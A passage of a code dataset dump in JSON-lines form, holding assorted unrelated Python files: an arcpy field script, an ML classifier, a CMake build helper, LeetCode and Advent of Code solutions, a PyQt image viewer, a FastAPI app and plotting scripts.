self.assertEqual(HTTPStatus.METHOD_NOT_ALLOWED, response.status_code)\n","repo_name":"desklab/gcampus","sub_path":"gcampus/auth/tests/test_robots.py","file_name":"test_robots.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"16576476127","text":"'''\nThis script will add the Feature Class name as an attribute to a new Field\n\nPython 2\ncirca 2021\n'''\nimport arcpy, os, sys\nfrom arcpy import env\n\n# Allow for file overwrite\narcpy.env.overwriteOutput = True\n\n# Set the workspace directory \nenv.workspace = r\"C:\\Users\\...\\.gdb\"\n\n# Get the list of the featureclasses to process\nfc_tables = arcpy.ListFeatureClasses()\n\n# Loop through each FC and perform the processing\nfor fc in fc_tables:\n print(\"processing \" + fc)\n\n # Define field name and expression\n field = \"FILENAME\"\n expression = str(fc) # populates field\n\n # Create a new field with a new name\n arcpy.AddField_management(fc, field, \"TEXT\")\n\n # Calculate field here\n arcpy.CalculateField_management(fc, field, '\"' + expression + '\"', \"PYTHON\")\n","repo_name":"mapface/gis_tools","sub_path":"arcpy_FilenameToFCattribute.py","file_name":"arcpy_FilenameToFCattribute.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40757846621","text":"from __future__ import print_function\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import confusion_matrix\n\ndef read_data(filename):\n \n with open(filename, 'r') as f:\n lines = f.readlines()\n \n num_points = len(lines)\n dim_points = 28 * 28\n data = np.empty((num_points, dim_points))\n labels = np.empty(num_points)\n \n for ind, line in enumerate(lines):\n num = line.split(',')\n labels[ind] = int(num[0])\n data[ind] = [ int(x) for x in num[1:] ]\n \n return (data, labels)\n\n\n\n#read data\ntrain_data, train_labels = read_data(\"sample_train.csv\")\ntest_data, test_labels = read_data(\"sample_test.csv\")\n# print(train_data.shape, test_data.shape)\n# print(train_labels.shape, test_labels.shape)\n\n\n\n#training\nModels = LogisticRegression(solver = 'lbfgs',multi_class = 'auto',max_iter = 10000).fit(train_data,train_labels)\n\n\n\n#testing\ncount=0\nypred=[]\nfor i in range(len(test_data)):\n\ty=Models.predict(test_data[i].reshape(1,-1))\n\typred.append(y)\n\tif(y==test_labels[i]):\n\t\tcount+=1\n\nprint('Accuracy is ~ '+str(count/10)+'%')\n\n\n\n#plotting of CM\nCM=confusion_matrix(test_labels,ypred)\nprint('Confusion Matrix:')\nprint(CM)\ncmp=plt.matshow(CM)\nplt.colorbar(cmp)\nplt.show()","repo_name":"sarthak77/Basics-of-ML-AI","sub_path":"hw13/a/q2/q2.py","file_name":"q2.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"16113998043","text":"import os\nimport subprocess\nimport sys\n\n\nclass CmakeBuilder:\n all_compile_flags = {\n '-app' : '-DBUILD_ENGINE_CORE',\n '-third_party' : '-DBUILD_THIRD_PARTY',\n '-project_launcher' : '-DBUILD_PROJECT_LAUNCHER',\n '-vulkan_rhi' : '-DBUILD_VULKAN_RHI',\n '-renderer' : '-DBUILD_RENDERER',\n '-render_core' : '-DBUILD_RENDER_CORE',\n '-engine' : '-DBUILD_LOW_LEVEL_ENGINE',\n '-tests' : '-DBUILD_TESTS'\n }\n\n\n fully_dependent_modules = { '-render_core', '-engine', '-renderer', '-app', '-tests' }\n partially_dependent_modules = { '-project_launcher', '-vulkan_rhi' }\n\n\n def __init__(self):\n self.flags = sys.argv[1:]\n self.root_path = os.getcwd()\n self.build_path = os.getcwd() + '\\\\build'\n self.cmake_prepare_command = ''\n\n is_build_dir = os.path.isdir(self.build_path)\n if not is_build_dir:\n os.mkdir(self.build_path)\n \n if '-help' in self.flags or not self.flags:\n self.__print_info()\n return\n \n subprocess.check_call('cmake --fresh ' + self.build_path, shell=True)\n self.__build_internal()\n \n if '-vs2017' in self.flags:\n subprocess.check_call(f'cmake {self.cmake_prepare_command} -G \"Visual Studio 15 2017\" -B {self.build_path}', shell=True)\n elif '-vs2019' in self.flags:\n subprocess.check_call(f'cmake {self.cmake_prepare_command} -G \"Visual Studio 16 2019\" -B {self.build_path}', shell=True)\n elif '-vs2022' in self.flags:\n subprocess.check_call(f'cmake {self.cmake_prepare_command} -G \"Visual Studio 17 2022\" -B {self.build_path}', shell=True)\n else:\n subprocess.check_call(f'cmake {self.cmake_prepare_command} -G \"Visual Studio 17 2022\" -B {self.build_path}', shell=True)\n\n is_bin_dir = os.path.isdir(self.root_path + '\\\\bin')\n if not is_bin_dir:\n os.mkdir(self.root_path + '\\\\bin')\n\n\n def __build_internal(self):\n if '-all' in self.flags:\n for key in self.all_compile_flags:\n self.__set_cmake_flags(key)\n else:\n is_full_dependency_resolved = False\n is_partial_dependency_resolved = False\n for key in self.flags:\n if key != '-app':\n self.__set_cmake_flags(key)\n\n if key in self.fully_dependent_modules and not is_full_dependency_resolved:\n self.__set_cmake_flags('-app')\n is_full_dependency_resolved = True\n if not is_partial_dependency_resolved:\n self.__set_cmake_flags('-third_party')\n is_partial_dependency_resolved = True\n elif key in self.partially_dependent_modules and not is_partial_dependency_resolved:\n self.__set_cmake_flags('-third_party')\n \n \n subprocess.check_call(f'cmake {self.cmake_prepare_command} {self.build_path}', shell=True)\n\n\n def __set_cmake_flags(self, cmd_flag):\n self.cmake_prepare_command += self.all_compile_flags[cmd_flag] + '=ON '\n\n\n def __print_info(self):\n print('\\nThis script simplifies compilation of engine and all of its plugins.\\n')\n print('Usage\\n')\n print('\\tpython compile.py [options]')\n print(\"\\tIf you don't use any flags, help info will be printed.\\n\")\n print('Options')\n print('\\t-help = Print information about compile script.\\n')\n print('\\t-all = Compiles AdAstrisEngine from scratch. Must be used to install the app.\\n')\n print('\\t-app = Compiles core application that manages all the modules.\\n')\n print('\\t-third_party = Compiles all third party libs.\\n')\n print('\\t-engine = Compiles low level Engine module.\\n')\n print('\\t-vulkan_rhi = Compiles Vulkan Render Hardware Interface Module.\\n')\n print('\\t-render_core = Compiles Render Core Module.\\n')\n print('\\t-renderer = Compiles Renderer module.\\n')\n print('\\t-project_launcher = Compiles Project Launcher Module.\\n')\n print('\\t-vs2017 = Uses cmake generator for Visual Studio 15 2017')\n print('\\t-vs2019 = Uses cmake generator for Visual Studio 16 2019')\n print('\\t-vs2022 = Uses cmake generator for Visual Studio 17 2022')\n\n\nif __name__ == '__main__':\n cmake_builder = CmakeBuilder()\n","repo_name":"JeFFlidan/AdAstrisEngine","sub_path":"build_cmake.py","file_name":"build_cmake.py","file_ext":"py","file_size_in_byte":4495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"74763815948","text":"n = int(input())\r\nw = [input() for _ in range(n)]\r\nif len(set(w)) == n:\r\n for i in range(n-1):\r\n now = w[i]\r\n next = w[i+1]\r\n if now[-1] != next[0]:\r\n print(\"No\")\r\n exit()\r\n print(\"Yes\")\r\nelse:\r\n print(\"No\")\r\n","repo_name":"yoshiryo/atcoder","sub_path":"abc/abc109/b.py","file_name":"b.py","file_ext":"py","file_size_in_byte":261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3944203925","text":"from __future__ import division\nimport math\n\nimport os\n\nimport pygame\nfrom pygame.locals import *\n\nimport THREE\nfrom THREE.utils import Expando\n\nrenderer = None\ncamera = None\nscene = None\nclock = pygame.time.Clock()\n\nwidth, height = 800, 600\n\ndef toAbs( rel ):\n\n return os.path.join( os.path.dirname( __file__ ), rel )\n\ndef init():\n\n global renderer, camera, scene, mesh\n\n pygame.init()\n pygame.display.set_mode( (width, height), DOUBLEBUF|OPENGL )\n renderer = THREE.OpenGLRenderer\n renderer.init()\n renderer.setSize( width, height )\n\n camera = THREE.PerspectiveCamera( 45, width / height, 10, 2000 ) # change near from 1 to 10, to avoid z fighting :(\n camera.position.z = 400\n\n scene = THREE.Scene()\n\n scene.add( THREE.AmbientLight( 0x404040 ) )\n\n light = THREE.DirectionalLight( 0xffffff )\n light.position.set( 0, 1, 0 )\n scene.add( light )\n\n map = THREE.TextureLoader().load( toAbs( \"textures/UV_Grid_Sm.jpg\" ) )\n map.wrapS = map.wrapT = THREE.RepeatWrapping\n map.anisotropy = 16\n\n material = THREE.MeshLambertMaterial( map = map, side = THREE.DoubleSide )\n\n object = THREE.Mesh( THREE.SphereGeometry( 75, 20, 10 ), material )\n object.position.set( -400, 0, 200 )\n scene.add( object )\n\n object = THREE.Mesh( THREE.IcosahedronGeometry( 75, 1 ), material )\n object.position.set( -200, 0, 200 )\n scene.add( object )\n\n object = THREE.Mesh( THREE.OctahedronGeometry( 75, 2 ), material )\n object.position.set( 0, 0, 200 )\n scene.add( object )\n\n object = THREE.Mesh( THREE.TetrahedronGeometry( 75, 0 ), material )\n object.position.set( 200, 0, 200 )\n scene.add( object )\n\n #\n\n object = THREE.Mesh( THREE.PlaneGeometry( 100, 100, 4, 4 ), material )\n object.position.set( -400, 0, 0 )\n scene.add( object )\n\n object = THREE.Mesh( THREE.BoxGeometry( 100, 100, 100, 4, 4, 4 ), material )\n object.position.set( -200, 0, 0 )\n scene.add( object )\n\n object = THREE.Mesh( THREE.CircleGeometry( 50, 20, 0, math.pi * 2 ), material )\n object.position.set( 0, 0, 0 )\n scene.add( object )\n\n object = THREE.Mesh( THREE.RingGeometry( 10, 40, 20, 5, 0, math.pi * 2 ), material )\n object.position.set( 200, 0, 0 )\n scene.add( object )\n\n object = THREE.Mesh( THREE.CylinderGeometry( 25, 75, 100, 40, 5 ), material )\n object.position.set( 400, 0, 0 )\n scene.add( object )\n\n #\n\n points = []\n\n for i in xrange( 50 ):\n\n points.append( THREE.Vector2( math.sin( i * 0.2 ) * math.sin( i * 0.1 ) * 15 + 50, ( i - 5 ) * 2 ) )\n \n object = THREE.Mesh( THREE.LatheGeometry( points, 20 ), material )\n object.position.set( -400, 0, -200 )\n scene.add( object )\n\n object = THREE.Mesh( THREE.TorusGeometry( 50, 20, 20, 20 ), material )\n object.position.set( -200, 0, -200 )\n scene.add( object )\n\n object = THREE.Mesh( THREE.TorusKnotGeometry( 50, 10, 50, 20 ), material )\n object.position.set( 0, 0, -200 )\n scene.add( object )\n\n object = THREE.AxisHelper( 50 )\n object.position.set( 200, 0, -200 )\n scene.add( object )\n\n object = THREE.ArrowHelper( THREE.Vector3( 0, 1, 0 ), THREE.Vector3( 0, 0, 0 ), 50 )\n object.position.set( 400, 0, -200 )\n scene.add( object )\n\ndef animate():\n\n while True:\n\n for event in pygame.event.get():\n\n if event.type == pygame.QUIT:\n\n pygame.quit()\n quit()\n\n clock.tick()\n # print( clock.get_fps() )\n\n timer = pygame.time.get_ticks() * 0.0001\n\n camera.position.x = math.cos( timer ) * 800\n camera.position.y = math.sin( timer ) * 800\n\n camera.lookAt( scene.position )\n\n for object in scene.children:\n\n object.rotation.x = timer * 5\n object.rotation.y = timer * 2.5\n\n renderer.render( scene, camera )\n\n pygame.display.flip()\n pygame.time.wait( 10 )\n\nif __name__ == \"__main__\":\n\n init()\n animate()","repo_name":"alijaya/threepy","sub_path":"examples/opengl_geometries.py","file_name":"opengl_geometries.py","file_ext":"py","file_size_in_byte":3934,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"39676044203","text":"#!/usr/bin/python3\ndef replace_in_list(my_list, idx, element):\n \"\"\"My replace function\n\n Args:\n my_list: the list to work on\n idx: the idex of the element\n element: the element to replace with\n\n Returns: \n the original list if idx is -ve or out of range\n \"\"\"\n # get length of list\n length = len(my_list)\n\n if idx < 0:\n return my_list\n elif idx >= length:\n return my_list\n else:\n my_list[idx] = element\n return my_list\n","repo_name":"naibor/alx-higher_level_programming","sub_path":"0x03-python-data_structures/2-replace_in_list.py","file_name":"2-replace_in_list.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31324573283","text":"import matplotlib\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nfrom pandas import *\r\nfrom sklearn.neighbors import KernelDensity\r\n\r\ndata = read_csv('filename')\r\ncountries = [x for x in np.unique(data.country)]\r\ncolors = ['#0000ff', '#3300cc', '#660099', '#990066', '#cc0033', '#ff0000']\r\n\r\ngs = matplotlib.gridspec.GridSpec(len(countries), 1)\r\nfig = plt.figure(figsize=(16, 9))\r\n\r\ni = 0\r\n\r\nax_objs = []\r\nfor country in countries:\r\n country = countries[i]\r\n x = np.array(data[data.country == country].score)\r\n x_d = np.linspace(0, 1, 1000)\r\n\r\n kde = KernelDensity(bandwidth=0.03, kernel='gaussian')\r\n kde.fit(x[:, None])\r\n\r\n logprob = kde.score_samples(x_d[:, None])\r\n\r\n # creating new axes object\r\n ax_objs.append(fig.add_subplot(gs[i:i + 1, 0:]))\r\n\r\n # plotting the distribution\r\n ax_objs[-1].plot(x_d, np.exp(logprob), color=\"#f0f0f0\", lw=1)\r\n ax_objs[-1].fill_between(x_d, np.exp(logprob), alpha=1, color=colors[i])\r\n\r\n # setting uniform x and y lims\r\n ax_objs[-1].set_xlim(0, 1)\r\n ax_objs[-1].set_ylim(0, 2.5)\r\n\r\n # make background transparent\r\n rect = ax_objs[-1].patch\r\n rect.set_alpha(0)\r\n\r\n # remove borders, axis ticks, and labels\r\n ax_objs[-1].set_yticklabels([])\r\n\r\n if i == len(countries) - 1:\r\n ax_objs[-1].set_xlabel(\"Test Score\", fontsize=16, fontweight=\"bold\")\r\n else:\r\n ax_objs[-1].set_xticklabels([])\r\n\r\n spines = [\"top\", \"right\", \"left\", \"bottom\"]\r\n for s in spines:\r\n ax_objs[-1].spines[s].set_visible(False)\r\n\r\n adj_country = country.replace(\" \", \"\\n\")\r\n ax_objs[-1].text(-0.02, 0, adj_country, fontweight=\"bold\", fontsize=14, ha=\"right\")\r\n\r\n i += 1\r\n\r\ngs.update(hspace=-0.7)\r\n\r\nfig.text(0.07, 0.85, \"Distribution of Aptitude Test Results from 18 – 24 year-olds\", fontsize=20)\r\n\r\nplt.tight_layout()\r\nplt.show()\r\n","repo_name":"ApolloHong/Math_Modeling","sub_path":"可视化/数据分布图/山脊分布.py","file_name":"山脊分布.py","file_ext":"py","file_size_in_byte":1843,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"2795396302","text":"#\n# @lc app=leetcode id=215 lang=python3\n#\n# [215] Kth Largest Element in an Array\n#\n\n# @lc code=start\nclass Solution:\n def findKthLargest(self, nums: List[int], k: int) -> int:\n if not nums:\n return nums\n\n heap = Heap()\n for num in nums:\n heap.insert(num)\n \n kth = 0\n for _ in range(k):\n kth = heap.delete()\n \n return kth\n\nclass Heap:\n def __init__(self):\n self.arr = [0]\n self.size = 0\n \n def insert(self, num):\n self.arr.append(num)\n self.size += 1\n self.swim(self.size)\n \n def peak(self):\n if self.size > 0:\n return self.arr[1]\n return None\n \n def delete(self):\n if self.size == 0:\n return None\n \n toReturn = self.arr[1]\n self.__swap(1, self.size)\n self.arr.pop()\n self.size -= 1\n self.sink(1)\n\n return toReturn\n \n def swim(self, index):\n while index > 1 and (self.arr[index//2] < self.arr[index]):\n self.__swap(index, index//2)\n index = index // 2\n\n def sink(self, index):\n while index*2 <= self.size:\n nextIndex = self.__nextIndex(index)\n if self.arr[index] < self.arr[nextIndex]:\n self.__swap(index, nextIndex)\n index = nextIndex\n\n def __nextIndex(self, index):\n if 2 * index + 1 > self.size:\n return 2*index\n elif self.arr[2*index] > self.arr[2*index+1]:\n return 2*index\n else:\n return 2*index+1\n \n def __swap(self, i, j):\n if i == j:\n return\n temp = self.arr[i]\n self.arr[i] = self.arr[j]\n self.arr[j] = temp \n# @lc code=end\n\n","repo_name":"Olament/Leetcode","sub_path":"215.kth-largest-element-in-an-array.py","file_name":"215.kth-largest-element-in-an-array.py","file_ext":"py","file_size_in_byte":1783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31213177689","text":"import numpy as np\r\nimport cv2\r\nimport random\r\nimport os\r\n\r\nfile_path = \"images/original\"\r\n\r\n\r\ndef Translation():\r\n num = 0\r\n for img_name in os.listdir(file_path):\r\n if random.randrange(-1, 1) < 0: # 选择50%的图片进行平移\r\n continue\r\n else:\r\n img = cv2.imread(file_path + '/' + img_name)\r\n height, width = img.shape[:2]\r\n\r\n x_change = random.randint(-500, 500)\r\n y_change = random.randint(-500, 500)\r\n\r\n # 平移矩阵\r\n if x_change < 0 and y_change < 0:\r\n img_change1 = cv2.copyMakeBorder(img, 0, abs(y_change)+300, 0, abs(x_change)+300,\r\n borderType=cv2.BORDER_REPLICATE)\r\n if x_change > 0 and y_change < 0:\r\n img_change1 = cv2.copyMakeBorder(img, 0, abs(y_change)+300, abs(x_change)+300, 0,\r\n borderType=cv2.BORDER_REPLICATE)\r\n if x_change < 0 and y_change > 0:\r\n img_change1 = cv2.copyMakeBorder(img, abs(y_change)+300, 0, 0, abs(x_change)+300,\r\n borderType=cv2.BORDER_REPLICATE)\r\n else:\r\n img_change1 = cv2.copyMakeBorder(img, abs(y_change)+300, 0, abs(x_change)+300, 0, borderType=cv2.BORDER_REPLICATE)\r\n M = np.array([[1, 0, -200], [0, 1, -200]], dtype=np.float32)\r\n img_change = cv2.warpAffine(img_change1, M, dsize=(int(width), int(height)), borderValue=(255, 255, 255))\r\n cv2.imwrite(\"images/Translation/imgTrans{}.png\".format(num), img_change)\r\n num = num + 1\r\n # cv2.imshow(\"show\", img_change)\r\n # cv2.waitKey(0)\r\n","repo_name":"JackShi148/Pose-Estimation-and-Tracking-With-Data-Augmentation","sub_path":"ImageAug/Translations.py","file_name":"Translations.py","file_ext":"py","file_size_in_byte":1737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"36991149832","text":"#Q-1 ) Print vertical order traversal, or Top view of a binary tree\r\n#https://leetcode.com/problems/vertical-order-traversal-of-a-binary-tree/\r\n#(5 marks)\r\n#(Easy)\r\n#Given the root of a binary tree, calculate the vertical order traversal of the binary\r\n#tree.\r\n#For each node at position (row, col), its left and right children will be at positions\r\n#(row + 1, col - 1) and (row + 1, col + 1) respectively. The root of the tree is at (0,\r\n#0).\r\n#The vertical order traversal of a binary tree is a list of top-to-bottom orderings for\r\n#each column index starting from the leftmost column and ending on the rightmost\r\n#column. There may be multiple nodes in the same row and same column. In such\r\n#a case, sort these nodes by their values.\r\n#Return the vertical order traversal of the binary tree.\r\n#Example 1:\r\n#Input: root = [3,9,20,null,null,15,7]\r\n#Output: [[9],[3,15],[20],[7]]\r\n#Explanation:\r\n#Column -1: Only node 9 is in this column.\r\n#Column 0: Nodes 3 and 15 are in this column in that order from top to bottom.\r\n#Column 1: Only node 20 is in this column.\r\n#Column 2: Only node 7 is in this column.\r\nclass Solution:\r\n def verticalTraversal(self, root: Optional[TreeNode]) -> List[List[int]]:\r\n tree={}\r\n def dfs(node,i,j):\r\n if not node:\r\n return\r\n if j not in tree:\r\n tree[j]=defaultdict(list)\r\n tree[j][i].append(node.val)\r\n else:\r\n idx=bisect.bisect_right(tree[j][i],node.val)\r\n tree[j][i].insert(idx,node.val)\r\n dfs(node.left,i+1,j-1)\r\n dfs(node.right,i+1,j+1)\r\n dfs(root,0,0)\r\n ans=[]\r\n for j,d in sorted(tree.items()):\r\n L=[]\r\n for i,val in sorted(d.items()):\r\n L.extend(val)\r\n ans.append(L)\r\n return ans\r\n\r\n#Q-2 )Sum of Root To Leaf Binary Numbers\r\n#(5 marks)\r\n#https://leetcode.com/problems/sum-of-root-to-leaf-binary-numbers/\r\n#(Easy)\r\n#You are given the root of a binary tree where each node has a value 0 or 1. Each\r\n#root-to-leaf path represents a binary number starting with the most significant bit.\r\n#For example, if the path is 0 -> 1 -> 1 -> 0 -> 1, then this could represent 01101 in\r\n#binary, which is 13.\r\n#For all leaves in the tree, consider the numbers represented by the path from the\r\n#root to that leaf.\r\n#Return the sum of these numbers. The answer is guaranteed to fit in a 32-bits\r\n#integer.\r\n#Example 1:\r\n#Input: root = [1,0,1,0,1,0,1]\r\n#Output: 22\r\n#Explanation: (100) + (101) + (110) + (111) = 4 + 5 + 6 + 7 = 22\r\nclass Solution:\r\n def sumRootToLeaf(self, root: TreeNode) -> int:\r\n def helper(node, num):\r\n if not node:\r\n return 0\r\n num = (num * 2) + node.val\r\n if not node.left and not node.right:\r\n return num\r\n return helper(node.left, num) + helper(node.right, num)\r\n return helper(root, 0)\r\n\r\n\r\n\r\n#Q-3 )Increasing Order Search Tree (5 marks)\r\n#https://leetcode.com/problems/increasing-order-search-tree/\r\n#(Easy)\r\n#Given the root of a binary search tree, rearrange the tree in in-order so that the\r\n#leftmost node in the tree is now the root of the tree, and every node has no left\r\n#child and only one right child.\r\n#Example 1:\r\n#Input: root = [5,3,6,2,4,null,8,1,null,null,null,7,9]\r\n#Output: [1,null,2,null,3,null,4,null,5,null,6,null,7,null,8,null,9]\r\nclass Solution:\r\n def increasingBST(self, root):\r\n self.cur = TreeNode()\r\n self.output = self.cur\r\n def inorder(node):\r\n if node.left != None:\r\n inorder(node.left)\r\n self.cur.right = TreeNode()\r\n self.cur = self.cur.right\r\n self.cur.val = node.val \r\n if node.right != None: \r\n inorder(node.right)\r\n inorder(root)\r\n return self.output.right","repo_name":"Dinesh-Patnaik-au28/Coding-Challenges","sub_path":"week11/day1/day1.py","file_name":"day1.py","file_ext":"py","file_size_in_byte":3881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40343922786","text":"from fastapi import FastAPI\nfrom fastapi.middleware.cors import CORSMiddleware\nfrom starlette.responses import JSONResponse\n\norigins = [\"*\"]\n\nfrom routers import bulb, party\n\napp = FastAPI()\n\napp.add_middleware(\n CORSMiddleware,\n allow_origins=origins,\n allow_credentials=True,\n allow_methods=[\"*\"],\n allow_headers=[\"*\"],\n)\n\napp.include_router(bulb.router)\napp.include_router(party.router)\n\n\n@app.exception_handler(ValueError)\nasync def value_error_handler(request, exc):\n return JSONResponse(\n status_code=400,\n content={\"message\": str(exc)},\n )\n","repo_name":"exceed19-group15/light-controller-backend","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31199676585","text":"import argparse\nimport mimetypes\nimport os\nimport sys\nfrom gettext import gettext as _\n\nfrom PyQt6.QtCore import QFileSystemWatcher, Qt, QTimer, QLoggingCategory\nfrom PyQt6.QtWidgets import QApplication, QMainWindow, QMessageBox\n\nfrom .constants import appname\nfrom .view import View, file_metadata, path_to_url, setup_profile\n\n\ndef is_supported_file_type(f):\n t = mimetypes.guess_type(f)[0]\n return t and t.startswith('image/')\n\n\ndef files_from_dir(d):\n for dirpath, dirnames, filenames in os.walk(d):\n for f in filter(is_supported_file_type, filenames):\n yield os.path.join(dirpath, f)\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(description=_('Browse/view images'))\n parser.add_argument('files', nargs='+',\n help=_('Path to file or directory to display'))\n return parser.parse_args()\n\n\nclass MainWindow(QMainWindow):\n\n def __init__(self, files):\n QMainWindow.__init__(self)\n sys.excepthook = self.excepthook\n self.view = View(self)\n self.view.set_title.connect(self.set_title)\n self.view.refresh_all.connect(self.refresh_all)\n self.setCentralWidget(self.view)\n self.files = files\n self.directories = {os.path.dirname(f['path']) for f in files.values()}\n self.file_watcher = QFileSystemWatcher([f['path'] for f in files.values()] + list(self.directories), self)\n self.file_watcher.fileChanged.connect(self.file_changed, type=Qt.ConnectionType.QueuedConnection)\n self.file_watcher.directoryChanged.connect(self.directory_changed, type=Qt.ConnectionType.QueuedConnection)\n self.changed_files = set()\n self.changed_dirs = set()\n self.debounce_files, self.debounce_dirs = QTimer(), QTimer()\n for t in self.debounce_files, self.debounce_dirs:\n t.setInterval(1000), t.setSingleShot(True)\n self.debounce_files.timeout.connect(self.do_file_changed)\n self.debounce_dirs.timeout.connect(self.do_dir_changed)\n self.set_title(None)\n\n def closeEvent(self, ev):\n if self.view is not None:\n self.view.break_cycles()\n self.view.setParent(None)\n self.view = None\n self.setCentralWidget(None)\n sys.excepthook = sys.__excepthook__\n return super().closeEvent(ev)\n\n def excepthook(self, exctype, value, traceback):\n if exctype == KeyboardInterrupt:\n return\n sys.__excepthook__(exctype, value, traceback)\n try:\n msg = str(value)\n except Exception:\n msg = repr(value)\n QMessageBox.critical(self, _('Unhandled error'), msg)\n\n def set_title(self, val):\n title = val or (_('{} images').format(len(self.files)))\n title += ' :: ' + appname\n self.setWindowTitle(title)\n\n def file_changed(self, path):\n if not os.access(path, os.R_OK):\n self.files.pop(path_to_url(path), None)\n self.changed_files.add(path)\n self.debounce_files.start()\n\n def directory_changed(self, path):\n self.changed_dirs.add(path)\n self.debounce_dirs.start()\n\n def do_file_changed(self):\n files, self.changed_files = self.changed_files, set()\n for path in files:\n url = path_to_url(path)\n if url in self.files:\n try:\n self.view.image_changed(url, file_metadata(path))\n except EnvironmentError:\n del self.files[url]\n\n def do_dir_changed(self):\n dirs, self.changed_dirs = self.changed_dirs, set()\n all_files = {f['path'] for f in self.files.values()}\n added_files = set()\n for path in dirs:\n for f in files_from_dir(path):\n if f not in all_files:\n added_files.add(f)\n for f in added_files:\n try:\n self.files[path_to_url(f)] = file_metadata(f)\n except EnvironmentError:\n continue\n else:\n d = os.path.dirname(f)\n self.directories.add(d)\n self.file_watcher.addPaths([d, f])\n self.view.refresh_files(self.files)\n\n def refresh_all(self):\n roots = set()\n for d in sorted(self.directories):\n for r in roots:\n if d.startswith(r):\n break\n else:\n roots.add(d)\n files = {}\n for cf in original_files:\n try:\n files[path_to_url(cf)] = file_metadata(cf)\n except EnvironmentError:\n continue\n for f in roots:\n for cf in files_from_dir(f):\n try:\n files[path_to_url(cf)] = file_metadata(cf)\n except EnvironmentError:\n continue\n self.files = files\n self.directories = {os.path.dirname(f['path']) for f in files.values()}\n self.view.refresh_files(self.files)\n\n\noriginal_files = set()\n\n\ndef main():\n args = parse_args()\n\n files = {}\n for f in args.files:\n if os.path.isdir(f):\n for cf in files_from_dir(f):\n try:\n files[path_to_url(cf)] = file_metadata(cf)\n except EnvironmentError:\n continue\n else:\n if is_supported_file_type(f):\n files[path_to_url(f)] = file_metadata(f)\n original_files.add(f)\n else:\n print(_('{} is not a supported file type').format(f), file=sys.stderr)\n if not files:\n raise SystemExit(_('No files to display were found'))\n app = QApplication([appname])\n app.setApplicationName(appname)\n app.setOrganizationName(appname)\n QLoggingCategory.setFilterRules('''\\\nqt.webenginecontext.info=false\n''')\n setup_profile(files)\n w = MainWindow(files)\n w.show()\n app.exec()\n","repo_name":"kovidgoyal/iv","sub_path":"iv/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5888,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"82"} +{"seq_id":"41295330054","text":"# Definition for a binary tree node.\nfrom collections import deque, defaultdict\nfrom typing import List, Optional\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\nclass Solution:\n def amountOfTime(self, root: Optional[TreeNode], start: int) -> int:\n graph = defaultdict(list)\n queue = deque([(root, None)])\n # build graph from tree with bfs, can also do DFS to build this\n while queue:\n node, parent = queue.popleft()\n if node and parent:\n graph[parent.val].append(node.val)\n graph[node.val].append(parent.val)\n if node.left:\n queue.append((node.left, node))\n if node.right:\n queue.append((node.right, node))\n bfs = deque([(start, 0)])\n visited = set()\n # result = 0\n while bfs:\n node, time = bfs.popleft()\n # result = max(time, result) can do this too\n visited.add(node)\n for neighbor in graph[node]:\n if neighbor not in visited:\n visited.add(neighbor)\n bfs.append((neighbor, time+1))\n return time","repo_name":"Ishitagangal/LeetCode-Practice","sub_path":"Amazon/Medium/3. Time for entire tree to be infected.py","file_name":"3. Time for entire tree to be infected.py","file_ext":"py","file_size_in_byte":1261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"43305696268","text":"f = open(\"input.txt\", \"r\")\n\n#####################################\n# PART 1 #\n#####################################\n\nscan = []\nfor line in f.readlines():\n x = line.strip().split(\"-\")\n scan.append(x)\n\ntunnels = {}\n\nfor line in scan:\n if line[0] not in tunnels:\n tunnels[line[0]] = []\n tunnels[line[0]].append(line[1])\n if line[1] not in tunnels:\n tunnels[line[1]] = []\n tunnels[line[1]].append(line[0])\n\npath = []\npaths = []\n\ndef recursion():\n global count\n if path[-1] == \"end\":\n count += 1\n return paths.append(path.copy())\n else:\n for x in tunnels[path[-1]]:\n if (x == x.upper()) or (x not in path):\n path.append(x)\n recursion()\n path.pop()\n\n\ncount = 0\npath.append(\"start\")\nrecursion()\nprint(\"Part 1: \", len(paths))\nprint(count)\n\n#####################################\n# PART 2 #\n#####################################\n\ndef recursion2(special): # This takes a minute to run....\n if path[-1] == \"end\":\n return paths.append(path.copy())\n else:\n for x in tunnels[path[-1]]:\n if (x != \"start\") and ((x == x.upper()) or (x not in path) or (x == special and path.count(special) < 2)):\n path.append(x)\n recursion2(special)\n path.pop()\n\npath.clear()\npath.append(\"start\")\npaths.clear()\ncount = 0\n\nsmall = []\nfor x in tunnels:\n if x == x.lower() and x != \"start\" and x != \"end\":\n small.append(x)\n\nfor x in small:\n recursion2(x)\n\npaths2 = []\n\nfor i in range(len(paths)):\n if paths[i] not in 